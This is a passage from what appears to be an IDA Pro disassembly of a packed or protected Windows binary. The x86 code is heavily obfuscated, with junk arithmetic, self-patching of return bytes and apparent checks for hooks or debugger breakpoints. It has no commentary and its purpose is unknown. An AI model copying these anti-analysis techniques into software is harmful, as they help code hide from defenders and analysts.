		jmp	loc_75781A
; END OF FUNCTION CHUNK	FOR sub_74E762

; =============== S U B	R O U T	I N E =======================================



sub_747F9D	proc near		; DATA XREF: sub_74D782+57A2o

arg_0		= dword	ptr  4

		mov	[ebp-8], eax
		mov	eax, offset dword_74C378
		call	sub_746F33


loc_747FAA:				; CODE XREF: sub_74A941+3j
		jmp	sub_747A67
sub_747F9D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_756826


loc_747FAF:				; CODE XREF: sub_756826-F261j
		jl	loc_7531A9


loc_747FB5:				; CODE XREF: sub_756826:loc_75700Fj
		mov	eax, [ebp+var_4]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_7540AE
		jmp	loc_754EF0
; END OF FUNCTION CHUNK	FOR sub_756826
; ---------------------------------------------------------------------------
		dw 8A0Fh
		dd 1E51h, 0C0FD981h, 8FE93784h,	8700004Ch, 36E92414h
		db 0D7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74F73B


loc_747FDF:				; CODE XREF: sub_74F73B+Cj
		push	edi
		push	0FEC5B72Ah
		pop	edi
		sub	edi, 5D2E6BC5h
		xor	edi, 0DAF54421h
		jmp	loc_751073
; END OF FUNCTION CHUNK	FOR sub_74F73B
; ---------------------------------------------------------------------------
		cmp	edx, 23006219h
		jmp	loc_754516
; ---------------------------------------------------------------------------
		push	ebx
		push	0B9243AC2h
		pop	ebx
		and	ebx, 27D33D10h
		or	ebx, 0C1D0D590h
		test	ebx, 400000h
		jmp	loc_74883C
; ---------------------------------------------------------------------------
		mov	ds:off_41F02C, eax
		lea	eax, sub_7535F0
		mov	byte ptr [eax],	0C3h
		jmp	sub_7535F0
; ---------------------------------------------------------------------------
		call	nullsub_3
		jmp	ds:dword_41F030
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_754729


loc_74803F:				; CODE XREF: sub_754729+13j
		jmp	loc_745A42
; END OF FUNCTION CHUNK	FOR sub_754729
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		add	al, 24h
		push	eax
		pop	edx
		jmp	loc_746AFB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_756834


loc_74804E:				; CODE XREF: sub_756834+Cj
		pop	ebx
		lea	eax, sub_749161
		mov	byte ptr [eax],	0C3h
		jmp	loc_75488B
; END OF FUNCTION CHUNK	FOR sub_756834
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_749161


loc_74805D:				; CODE XREF: sub_749161+6j
		mov	eax, [esp+0]
		push	offset loc_74CE72
		jmp	loc_74CA9C
; END OF FUNCTION CHUNK	FOR sub_749161
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_44. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748E45


loc_74806B:				; CODE XREF: sub_748E45:loc_751540j
		push	0FC6B6544h
		pop	ebx
		and	ebx, 4032B21Ch
		push	offset sub_7507FE
		jmp	nullsub_220
; END OF FUNCTION CHUNK	FOR sub_748E45
; ---------------------------------------------------------------------------


loc_748081:				; CODE XREF: _0z4jwtox:0074C24Dj
		cmp	al, 0A4h
		jz	loc_7556F9
		jmp	loc_750725
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_755DA4


loc_74808E:				; CODE XREF: sub_755DA4+8j
		push	ecx
		mov	ecx, edx
		call	sub_7570CA
; END OF FUNCTION CHUNK	FOR sub_755DA4
; START	OF FUNCTION CHUNK FOR sub_747C22


loc_748096:				; CODE XREF: sub_747C22:loc_74CF9Cj
		jz	loc_74B7FA
		jmp	loc_74969C
; END OF FUNCTION CHUNK	FOR sub_747C22
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74D23E


loc_7480A1:				; CODE XREF: sub_74D23E:loc_756475j
		cmp	byte ptr [eax],	0F1h
		jnz	loc_7540AE
		jmp	loc_75340B
; END OF FUNCTION CHUNK	FOR sub_74D23E
; ---------------------------------------------------------------------------
		jmp	ds:dword_41F16C
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_265. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		add	al, 24h
		mov	edx, eax
		pop	eax
		jns	loc_748B63
		call	sub_74B1F9
; START	OF FUNCTION CHUNK FOR sub_74763A


loc_7480C6:				; CODE XREF: sub_74763A+3j
					; _0z4jwtox:00747A83j
		jmp	loc_74EB33
; END OF FUNCTION CHUNK	FOR sub_74763A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C0A0


loc_7480CB:				; CODE XREF: sub_74C0A0:loc_7527B4j
		test	ebx, 1ED4CF3Bh
		jmp	loc_74A734
; END OF FUNCTION CHUNK	FOR sub_74C0A0
; ---------------------------------------------------------------------------


loc_7480D6:				; CODE XREF: _0z4jwtox:0074A6B9j
		xchg	eax, [esp]
		call	sub_745715
		push	0E4602D9Bh
		pop	eax
		xor	eax, 4EE34BBAh
		sub	eax, 9B0A81BDh
		cmp	eax, 0C18152A3h
		jmp	loc_74F9A8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_750C4E


loc_7480FB:				; CODE XREF: sub_750C4E+3j
		xchg	eax, [esp+4+var_4]
		mov	ebp, esp
		push	offset loc_7477FC
		jmp	loc_7484C2
; END OF FUNCTION CHUNK	FOR sub_750C4E
; ---------------------------------------------------------------------------


loc_74810A:				; CODE XREF: _0z4jwtox:00753BE5j
		rol	ecx, 0Fh
		add	ecx, 0F8417070h
		call	sub_756AC1
; START	OF FUNCTION CHUNK FOR sub_7556D8


loc_748118:				; CODE XREF: sub_7556D8:loc_753F15j
		jmp	loc_751E5A
; END OF FUNCTION CHUNK	FOR sub_7556D8
; ---------------------------------------------------------------------------


loc_74811D:				; CODE XREF: _0z4jwtox:00749BB5j
		pop	edi
		add	edi, 0ADA0FC23h
		sub	edi, 0C97D6394h
		add	edi, 5E83DCE6h
		and	edi, 97F7F6C9h
		jns	loc_754DB7
; START	OF FUNCTION CHUNK FOR sub_75051C


loc_74813C:				; CODE XREF: sub_75051C+Fj
		jmp	loc_749906
; END OF FUNCTION CHUNK	FOR sub_75051C
; ---------------------------------------------------------------------------
		and	ebx, eax
		jmp	loc_754DAD
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_23. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		js	loc_74F92D
		jmp	sub_74847B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_745911


loc_748154:				; CODE XREF: sub_745911+30B9j
					; _0z4jwtox:0074CDEDj
		cmp	byte ptr [eax],	0E9h
		jz	loc_747CE0


loc_74815D:				; CODE XREF: sub_745911:loc_7500E4j
		mov	eax, [ebp+var_4]
		cmp	byte ptr [eax],	0EBh
		jz	loc_747CE0
		mov	eax, [ebp+var_4]
		mov	al, [eax]
		jmp	loc_750183
; END OF FUNCTION CHUNK	FOR sub_745911
; ---------------------------------------------------------------------------
		push	ebx
		push	0CBE7AF78h


loc_748179:				; CODE XREF: _0z4jwtox:00755262j
		xchg	edi, [esp]
		mov	ebx, edi
		pop	edi
		or	ebx, 0F916E02h
		jmp	loc_757513
; ---------------------------------------------------------------------------


loc_74818A:				; DATA XREF: sub_752D6B-1B63o
		jz	loc_7485E0
		mov	eax, ds:dword_74B2AC
		mov	eax, [eax]
		mov	dword ptr ds:loc_74F377+1, eax
		xor	eax, eax
		mov	ds:dword_74B2AC, eax
		jmp	loc_750685
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_757314


loc_7481A8:				; CODE XREF: sub_757314:loc_74B94Cj
		and	ecx, 0B42BF32Bh
		jns	loc_750D83
; END OF FUNCTION CHUNK	FOR sub_757314
; START	OF FUNCTION CHUNK FOR sub_74BACE


loc_7481B4:				; CODE XREF: sub_74BACE+Cj
		jmp	loc_748C76
; END OF FUNCTION CHUNK	FOR sub_74BACE
; ---------------------------------------------------------------------------
		pop	ebx


loc_7481BA:				; CODE XREF: _0z4jwtox:0075710Aj
		or	ebp, 4F2F83EDh
		jmp	loc_750D78
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7474B9


loc_7481C5:				; CODE XREF: sub_7474B9-20DEj
		pop	ebx
		sub	ebx, 2DFE22E3h
		xor	ebx, 7849B311h
		test	ebx, 2
		jmp	loc_7465FD
; END OF FUNCTION CHUNK	FOR sub_7474B9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747A94


loc_7481DD:				; CODE XREF: sub_747A94:loc_74EE58j
		pop	edx
		or	edx, 38D61A5Ch
		add	edx, 6C04F914h
		add	edx, ebp
		jmp	loc_753558
; END OF FUNCTION CHUNK	FOR sub_747A94
; ---------------------------------------------------------------------------


loc_7481F1:				; CODE XREF: _0z4jwtox:00750976j
					; _0z4jwtox:loc_7572EDj
		adc	ebx, 9D09E5FDh


loc_7481F7:				; CODE XREF: _0z4jwtox:0074D2EDj
		add	edx, 0DC8A272Eh
		xchg	edx, [esp]
		jmp	loc_749697
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_140. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747736


loc_748206:				; CODE XREF: sub_747736:loc_747B8Fj
		jmp	loc_757800
; END OF FUNCTION CHUNK	FOR sub_747736
; ---------------------------------------------------------------------------


loc_74820B:				; CODE XREF: _0z4jwtox:loc_7546B9j
		shr	ebx, 0Bh
		pushf
		adc	ebp, ebx
		jmp	loc_74F4BC
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_60. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_748217:				; CODE XREF: _0z4jwtox:007576ADj
		jmp	loc_7558FF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7476BB


loc_74821C:				; CODE XREF: sub_7476BB+Fj
		jmp	loc_74D6AD
; END OF FUNCTION CHUNK	FOR sub_7476BB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7457DD


loc_748221:				; CODE XREF: sub_7457DD+BDF6j
		add	ebp, ecx
		adc	ecx, 7BD927A3h
		jmp	loc_752074
; END OF FUNCTION CHUNK	FOR sub_7457DD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7514AC


loc_74822E:				; CODE XREF: sub_7514AC+Ej
		cmp	byte ptr [eax],	0F1h
		jnz	loc_7556FE
		jmp	loc_747616
; END OF FUNCTION CHUNK	FOR sub_7514AC
; ---------------------------------------------------------------------------

locret_74823C:				; CODE XREF: _0z4jwtox:0074702Dj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748A22


loc_74823D:				; CODE XREF: sub_748A22:loc_74A926j
		mov	[ebp-4], eax


loc_748240:				; CODE XREF: _0z4jwtox:loc_7494C4j
					; _0z4jwtox:007494D9j ...
		mov	eax, [ebp-1Ch]
		call	sub_750243
		mov	[ebp-8], eax
		jmp	loc_74FE3B
; END OF FUNCTION CHUNK	FOR sub_748A22
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7501AF


loc_748250:				; CODE XREF: sub_7501AF+4B8Bj
		mov	eax, [ebp-1Ch]
		mov	al, [eax]
		mov	edx, [ebp-20h]
		jmp	loc_74F2B4
; END OF FUNCTION CHUNK	FOR sub_7501AF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74673E


loc_74825D:				; CODE XREF: sub_74673E+6F56j
		mov	edi, esi
		pop	esi
		sub	edi, 0F873A298h
		test	edi, 10000h
		jmp	loc_74C8CD
; END OF FUNCTION CHUNK	FOR sub_74673E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C22


loc_748271:				; CODE XREF: sub_747C22:loc_7560D3j
		add	eax, ebx
		pop	ebx
		pushf


loc_748275:				; CODE XREF: _0z4jwtox:00754153j
		push	edi
		call	sub_74CD80
		xchg	esi, ebp
		jmp	sub_748B52
; END OF FUNCTION CHUNK	FOR sub_747C22
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74CBCF


loc_748282:				; CODE XREF: sub_74CBCF:loc_75404Fj
		sub	eax, 525B7E7Bh
		mov	edx, [esp+0]
		push	offset loc_74EB81
		jmp	loc_7557B1
; END OF FUNCTION CHUNK	FOR sub_74CBCF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_749980


loc_748295:				; CODE XREF: sub_749980+D229j
		dec	eax
		sub	eax, 0FFFFFFFFh
		jl	loc_75276D
		jmp	loc_7460CA
; END OF FUNCTION CHUNK	FOR sub_749980
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74FE55


loc_7482A4:				; CODE XREF: sub_74FE55+25DEj
		jz	loc_750861
		jmp	loc_74AF28
; END OF FUNCTION CHUNK	FOR sub_74FE55
; ---------------------------------------------------------------------------


loc_7482AF:				; CODE XREF: _0z4jwtox:0075110Dj
		push	6B10CB89h
; START	OF FUNCTION CHUNK FOR sub_74F78B


loc_7482B4:				; CODE XREF: sub_74F78B:loc_7510FDj
		add	edi, 7C63979Bh
		mov	[edi], eax
		pop	edi
		lea	eax, loc_74DCA0
		jmp	loc_745EBA
; END OF FUNCTION CHUNK	FOR sub_74F78B
; ---------------------------------------------------------------------------


loc_7482C8:				; DATA XREF: sub_74E7AE:loc_74ED14o
		mov	eax, [ebp-20h]
		call	sub_75051C
		pop	ecx
; START	OF FUNCTION CHUNK FOR sub_75263A


loc_7482D1:				; CODE XREF: sub_75263A:loc_753EFBj
		mov	[ebp-20h], eax


loc_7482D4:				; CODE XREF: sub_74A47B-4DDj
					; sub_74A71A+7F2Ej
		jo	loc_745E8A
		test	byte ptr [ebp-7], 8
		jz	loc_753778
		push	ebp
		jmp	loc_752B11
; END OF FUNCTION CHUNK	FOR sub_75263A
; ---------------------------------------------------------------------------
		jmp	ds:dword_41F03C
; ---------------------------------------------------------------------------


loc_7482F0:				; CODE XREF: _0z4jwtox:007553CDj
		jmp	loc_74F8D3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746E37


loc_7482F5:				; CODE XREF: sub_746E37+5B78j
					; _0z4jwtox:007555B6j
		jmp	loc_748DFF
; END OF FUNCTION CHUNK	FOR sub_746E37
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_207. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		jb	loc_74924A
		mov	eax, [esp]
		push	edx
		push	eax
		push	0A3E352CCh
		jmp	loc_74B12C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748BBE


loc_748310:				; CODE XREF: sub_748BBE:loc_7502B0j
		jl	loc_74851C


loc_748316:				; CODE XREF: sub_756826-367Cj
		jmp	loc_75065B
; END OF FUNCTION CHUNK	FOR sub_748BBE
; ---------------------------------------------------------------------------


loc_74831B:				; CODE XREF: _0z4jwtox:0074CE79j
		jmp	locret_749CDA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747736


loc_748320:				; CODE XREF: sub_747736-1CF9j
		jmp	nullsub_19
; END OF FUNCTION CHUNK	FOR sub_747736
; ---------------------------------------------------------------------------
		and	ebp, 6C85509Ah
		xor	eax, ecx
		jmp	loc_74851C
; ---------------------------------------------------------------------------


loc_748332:				; DATA XREF: sub_75043C:loc_74D0F4o
		xor	edx, [ebx+ecx+4]
		cmp	edx, 7C61090Eh
		jz	loc_7521CF
; START	OF FUNCTION CHUNK FOR sub_75043C


loc_748342:				; CODE XREF: sub_75043C-B36Fj
					; sub_75043C-8F29j ...
		jb	loc_7537E3
		or	eax, eax
		jmp	loc_7537CD
; END OF FUNCTION CHUNK	FOR sub_75043C
; ---------------------------------------------------------------------------
		sub	ebx, esi
		jmp	sub_74D823
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_153. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_748357	proc near		; DATA XREF: _0z4jwtox:007451A5o

; FUNCTION CHUNK AT 0074669D SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0075307F SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00756171 SIZE 0000001F BYTES

		push	66D79BCDh
		pop	eax
		add	eax, 21ADA5Bh
		xor	eax, 0A25F0FEEh
		test	eax, 8
		jmp	loc_75307F
sub_748357	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74ECEF


loc_748374:				; CODE XREF: sub_74ECEF:loc_74BAFFj
		pushf
		push	67A702E0h
		pop	edi
		sub	edi, 0C9A6505Ah
		rol	edi, 0Bh
		xor	edi, 6F5D7978h
		jmp	loc_75235F
; END OF FUNCTION CHUNK	FOR sub_74ECEF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_749EC9


loc_74838F:				; CODE XREF: sub_749EC9:loc_74C137j
		mov	[esi], eax
		pop	esi
		lea	eax, nullsub_275
		mov	byte ptr [eax],	0C3h
		jmp	loc_757146
; END OF FUNCTION CHUNK	FOR sub_749EC9
; ---------------------------------------------------------------------------


loc_7483A0:				; CODE XREF: _0z4jwtox:00753B71j
		add	ebx, 0F837518Fh
		pushf


loc_7483A7:				; CODE XREF: _0z4jwtox:loc_753B69j
		or	ebx, 0F3CB36C1h
		and	ebx, 68715806h
		add	ebx, 98235DA3h
		jmp	loc_75285A
; ---------------------------------------------------------------------------


loc_7483BE:				; CODE XREF: _0z4jwtox:00750CF4j
		jz	loc_74B6AB
		jmp	loc_74DD63
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747AEC


loc_7483C9:				; CODE XREF: sub_747AEC+58BBj
		jz	loc_74A62A
		jmp	loc_746838
; END OF FUNCTION CHUNK	FOR sub_747AEC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74F78B


loc_7483D4:				; CODE XREF: sub_74F78B:loc_745EBAj
		mov	byte ptr [eax],	0C3h
		jmp	loc_7531D7
; ---------------------------------------------------------------------------


loc_7483DC:				; CODE XREF: sub_74F78B:loc_74DCA0j
		pop	edx
		mov	eax, [esp-4+arg_0]
		push	edi
		rol	edi, 1Dh
		jmp	loc_7479B8
; END OF FUNCTION CHUNK	FOR sub_74F78B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7465D2


loc_7483E9:				; CODE XREF: sub_7465D2:loc_74BE09j
		call	eax
		push	ebx
		push	0EA3F5F72h
		xchg	edi, [esp+8+var_8]
		mov	ebx, edi
		pop	edi
		jmp	loc_75373D
; END OF FUNCTION CHUNK	FOR sub_7465D2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74BD6F


loc_7483FC:				; CODE XREF: sub_74BD6F+225Dj
		jbe	loc_74CC39
		cdq
		jmp	loc_753FC4
; END OF FUNCTION CHUNK	FOR sub_74BD6F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_749980


loc_748408:				; CODE XREF: sub_749980+10j
		jnz	loc_75407F


loc_74840E:				; CODE XREF: sub_74E84B+644Bj
		jmp	loc_75101C
; END OF FUNCTION CHUNK	FOR sub_749980
; ---------------------------------------------------------------------------


loc_748413:				; CODE XREF: _0z4jwtox:007539E3j
		jmp	loc_74653D
; ---------------------------------------------------------------------------


loc_748418:				; CODE XREF: _0z4jwtox:0074C64Fj
		jmp	loc_7507AC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_749576


loc_74841D:				; CODE XREF: sub_749576+9j
		jmp	sub_747A4A
; END OF FUNCTION CHUNK	FOR sub_749576
; ---------------------------------------------------------------------------
		mov	esi, 0AADE13B7h
		sub	ebp, esi
		jmp	loc_75407F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74BD6F


loc_74842E:				; CODE XREF: sub_74BD6F-19E3j
		rol	eax, 1Bh


loc_748431:				; CODE XREF: sub_74BD6F:loc_74A383j
		and	ebx, 69C65BEFh
		rol	ebx, 15h
		xor	ebx, 0E3787F8Ch
		jmp	loc_7452C2
; END OF FUNCTION CHUNK	FOR sub_74BD6F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7578F4


loc_748445:				; CODE XREF: _0z4jwtox:loc_74A86Dj
					; sub_7578F4+4j
		inc	dword ptr [ebp-18h]
		dec	dword ptr [ebp-24h]
		push	offset loc_74A4E3
		jmp	loc_7454D6
; END OF FUNCTION CHUNK	FOR sub_7578F4
; ---------------------------------------------------------------------------
		sub	eax, 3A1A1AA2h
		jmp	sub_7490FC
; ---------------------------------------------------------------------------


loc_748460:				; CODE XREF: _0z4jwtox:00748CF7j
		push	edx
		call	sub_756691
		mov	eax, 0CC5549F7h
		call	sub_746E93
		mov	ds:dword_41F078, eax
		jmp	loc_74C5E5

; =============== S U B	R O U T	I N E =======================================



sub_74847B	proc near		; CODE XREF: sub_746E37+Ap
					; _0z4jwtox:0074814Fj
		xchg	ecx, [esp+0]
		pop	ecx
		mov	[ebp-20h], eax


loc_748482:				; CODE XREF: sub_7514BF:loc_74ACABj
					; sub_7514BF:loc_752E8Bj ...
		mov	eax, [ebp-20h]
		sub	eax, [ebp-28h]
		mov	[ebp-24h], eax
		mov	eax, [ebp-24h]
		call	sub_745CC7


loc_748493:				; CODE XREF: sub_75118C-51CAj
		jmp	sub_74A96E
sub_74847B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_748498	proc near		; CODE XREF: _0z4jwtox:007495AFp
					; _0z4jwtox:0074B182j

arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0074A293 SIZE 00000008 BYTES

		xchg	eax, [esp+0]
		pop	eax
		push	8F7D43A4h
		pop	ebx


loc_7484A2:				; CODE XREF: _0z4jwtox:0074A142j
		or	ebx, 9B017795h
		add	ebx, 60F73B3Ch
		popf
		jmp	loc_74A293
sub_748498	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		push	7D037390h
		jmp	sub_74B74C
; ---------------------------------------------------------------------------


loc_7484BE:				; DATA XREF: sub_74CCF4+1Do
		mov	ebx, edx
		pop	edx
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_750C4E


loc_7484C2:				; CODE XREF: sub_750C4E-8B49j
		jmp	nullsub_85
; END OF FUNCTION CHUNK	FOR sub_750C4E
; ---------------------------------------------------------------------------


loc_7484C7:				; CODE XREF: _0z4jwtox:00756CAFj
		rol	eax, 12h
		call	sub_754949
; START	OF FUNCTION CHUNK FOR sub_748B52


loc_7484CF:				; CODE XREF: sub_748B52:loc_74E3E8j
		mov	byte ptr [eax],	0C3h
		jmp	loc_74FFC0
; END OF FUNCTION CHUNK	FOR sub_748B52
; ---------------------------------------------------------------------------
		pop	edx
; START	OF FUNCTION CHUNK FOR sub_747AEC


loc_7484D8:				; CODE XREF: sub_747AEC+E661j
		mov	eax, [esp+4+var_4]
		push	edx
		push	esi
		jmp	loc_756766
; END OF FUNCTION CHUNK	FOR sub_747AEC
; ---------------------------------------------------------------------------


loc_7484E2:				; CODE XREF: _0z4jwtox:00745BA6j
		call	sub_746E93
		push	edx
		call	sub_752EB8
; START	OF FUNCTION CHUNK FOR sub_7490F6


loc_7484ED:				; CODE XREF: sub_7490F6-1931j
		jmp	sub_746E93
; END OF FUNCTION CHUNK	FOR sub_7490F6
; ---------------------------------------------------------------------------


loc_7484F2:				; CODE XREF: _0z4jwtox:007550D6j
		shl	eax, 14h

; =============== S U B	R O U T	I N E =======================================



sub_7484F5	proc near		; CODE XREF: sub_74533B+9p

; FUNCTION CHUNK AT 0074E170 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 007560D8 SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		push	edx
		jmp	loc_74E170
sub_7484F5	endp

; ---------------------------------------------------------------------------


loc_7484FF:				; CODE XREF: _0z4jwtox:loc_74B6FAj
		mov	eax, edx
		xchg	eax, [esp]
		call	sub_7570B1
		mov	eax, 0F2B89A19h
		call	sub_756A7E


loc_748513:				; CODE XREF: _0z4jwtox:loc_75286Bj
		xchg	esi, [esp]
		push	ecx
		call	sub_747546
; START	OF FUNCTION CHUNK FOR sub_748BBE


loc_74851C:				; CODE XREF: sub_748BBE:loc_748310j
					; _0z4jwtox:0074832Dj
		sub	eax, 45C0A9C4h
		or	eax, 0F1EA1594h
		add	eax, 319F8D27h
		call	sub_74780A


loc_748533:				; CODE XREF: sub_74FE55-934Aj
		jmp	nullsub_79
; END OF FUNCTION CHUNK	FOR sub_748BBE

; =============== S U B	R O U T	I N E =======================================



sub_748538	proc near		; CODE XREF: sub_74E762-54E7p
					; _0z4jwtox:00752C16j

; FUNCTION CHUNK AT 00747223 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0074EA37 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0074F776 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00752255 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00756357 SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		call	sub_746E93
		call	sub_7509E0
		or	eax, 421D1551h
		jmp	loc_747223
sub_748538	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_748551	proc near		; CODE XREF: _0z4jwtox:0074C785j
					; _0z4jwtox:00750CA9p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0074991F SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		xchg	edi, [esp-4+arg_0]
		jmp	loc_74991F
sub_748551	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_74855D:				; CODE XREF: _0z4jwtox:00746013j
		jnp	loc_756802
		and	ecx, 4537AD7Dh
		jmp	loc_74CDD2
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_223. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74F73B


loc_74856F:				; CODE XREF: sub_74F73B+4604j
		jmp	sub_749DB4
; END OF FUNCTION CHUNK	FOR sub_74F73B

; =============== S U B	R O U T	I N E =======================================



sub_748574	proc near		; DATA XREF: _0z4jwtox:00755459o

; FUNCTION CHUNK AT 00746CDD SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00747CBB SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0074937A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074EF32 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00754816 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00754DC5 SIZE 00000006 BYTES

		push	25BDE9B7h
		pop	ecx
		sub	ecx, 4D1FE108h
		cmp	ecx, 0CF68FF84h
		jmp	loc_754816
sub_748574	endp

; ---------------------------------------------------------------------------


loc_74858B:				; CODE XREF: _0z4jwtox:0075246Bj
		jmp	ds:dword_41F18C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7529AB


loc_748591:				; CODE XREF: sub_7529AB+Dj
		jmp	loc_74E9C0
; END OF FUNCTION CHUNK	FOR sub_7529AB
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_275. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		jnb	loc_74A33C
		call	sub_749EC9
; START	OF FUNCTION CHUNK FOR sub_74BC73


loc_7485A2:				; CODE XREF: sub_74BC73+Fj
		jmp	nullsub_271
; END OF FUNCTION CHUNK	FOR sub_74BC73
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_752D11


loc_7485A7:				; CODE XREF: sub_752D11-BC79j
		jmp	nullsub_126
; END OF FUNCTION CHUNK	FOR sub_752D11
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_749010


loc_7485AC:				; CODE XREF: sub_749010+2E0Aj
		popf
		jmp	loc_74EC40
; END OF FUNCTION CHUNK	FOR sub_749010
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_119. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_7485B3:				; CODE XREF: _0z4jwtox:00754F4Cj
		jz	loc_7514A1
		jmp	loc_74E3F2
; ---------------------------------------------------------------------------

locret_7485BE:				; CODE XREF: _0z4jwtox:0075551Bj
		retn
; ---------------------------------------------------------------------------


loc_7485BF:				; CODE XREF: _0z4jwtox:0074C810j
		jmp	nullsub_269
; ---------------------------------------------------------------------------


loc_7485C4:				; CODE XREF: _0z4jwtox:0074AEF1j
		mov	[edi], eax


loc_7485C6:				; CODE XREF: _0z4jwtox:0074BBBEj
		pop	edi
		lea	eax, sub_750291
		mov	byte ptr [eax],	0C3h
		jmp	sub_750291

; =============== S U B	R O U T	I N E =======================================



sub_7485D5	proc near		; CODE XREF: sub_419FC4+5Ep
					; sub_419FC4+A7p ...
		call	sub_74CBB7
		jmp	ds:off_41F184
sub_7485D5	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C2C9


loc_7485E0:				; CODE XREF: _0z4jwtox:loc_74818Aj
					; _0z4jwtox:loc_750685j ...
		jnb	loc_74FB3D
		cmp	dword ptr ds:loc_74F377+1, 0
		jnz	loc_74A05A
		call	sub_755179
		jmp	loc_756965
; END OF FUNCTION CHUNK	FOR sub_74C2C9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_755E40


loc_7485FD:				; CODE XREF: sub_755E40:loc_756656j
		jz	loc_746194
